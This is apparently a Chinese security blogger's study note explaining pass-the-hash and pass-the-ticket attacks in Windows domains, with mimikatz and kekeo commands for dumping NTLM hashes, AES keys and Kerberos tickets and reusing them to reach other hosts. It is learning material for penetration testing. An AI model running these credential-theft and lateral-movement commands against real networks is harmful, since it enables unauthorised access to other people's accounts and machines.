【内网学习笔记】21、哈希传递与票据传递


1、哈希传递

哈希传递(Pass The Hash, PTH)顾名思义,就是利用哈希去登录内网中的其他机器,而不是通过明文密码登录的方式。

通过哈希传递,攻击者不需要花时间破解哈希值得到明文,在Windows Server 2012 R2及之后版本的操作系统中,默认不会在内存中保存明文密码,Mimikatz 就读不到密码明文,因此此时往往会使用工具将哈希值传递到其他计算机中进行登录验证。

NTLM Hash

在目标主机上使用 mimikatz 获取 NTLM Hash

privilege::debug
sekurlsa::logonpasswords

在远程主机上以管理员权限打开 mimikatz

privilege::debug
sekurlsa::pth /user:administrator /domain:teamssix.com /ntlm:161cff084477fe596a5db81874498a24

mimikatz 执行后,会弹出一个拥有对应 Hash 用户权限的 CMD 窗口。

AES-256 密钥

使用 mimikatz 抓取密钥

privilege::debug
sekurlsa::ekeys

在其他远程计算机中,以管理员权限打开 mimikatz

privilege::debug
sekurlsa::pth /user:administrator /domain:teamssix.com /aes256:7358fb65149672d99b8c9f3dfd0dfeb486b78268e9c5250b23aefbd26f293c60

这里需要目标机器上安装 KB2871997 补丁,补丁下载地址:https://www.microsoft.com/en-us/download/details.aspx?id=42722

将该补丁安装后,就可以通过 AES256 密钥进行哈希传递了。

除了 AES256 外还有 AES128 等,不过平时基本都是使用 NTLM 哈希进行传递。

2、票据传递

票据传递(Pass The Ticket, PTT),是基于Kerberos认证的一种攻击方式,这里主要学习票据传递在 mimikatz 和 kekeo 两个工具里的使用。

mimikatz

使用 mimikatz 可以将内存中的票据进行导出。

privilege::debug
sekurlsa::tickets /export

执行该命令后,会在当前目录下生成多个服务的票据文件,例如 kirbi 等

使用以下命令可以清除内存中的票据

kerberos::purge

将票据文件注入内存

kerberos::ptt "[0;4beae][email protected]"

在当前终端下退出 mimikatz ,然后就可以列出目标目录了。

票据传递除了用 mimikatz 还可以用 kekeo

kekeo

kekeo 需要使用域名、用户名、NTLM HASH 生成票据,然后再将票据导入,从而连接远程计算机。

tgt::ask /user:administrator /domain:teamssix.com /ntlm:161cff084477fe596a5db81874498a24

在 kekeo 中清楚当前内存中的其他票据,不然可能会导致票据传递失败

kerberos::purge

在 Windows 命令行中也可以执行系统自带的命令进行内存中的票据清除

klist purge

使用以下命令将票据导入内存,之后 exit 退出 kekeo,使用 dir 命令就可以列出远程文件了。

kerberos::ptt "[email protected][email protected]"

注意点:

1、票据文件注入内存的默认有效时间为 10 小时

2、在目标机器上不需要本地管理员权限就可以进行票据传递

3、使用票据传递时,dir 命令必须使用主机名,如果使用 IP 地址会提示拒绝访问。

参考文章:

https://www.cnblogs.com/Xy–1/p/13216686.html

更多信息欢迎关注我的微信公众号:TeamsSix


文章作者: TeamsSix
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 TeamsSix !
评论
  目录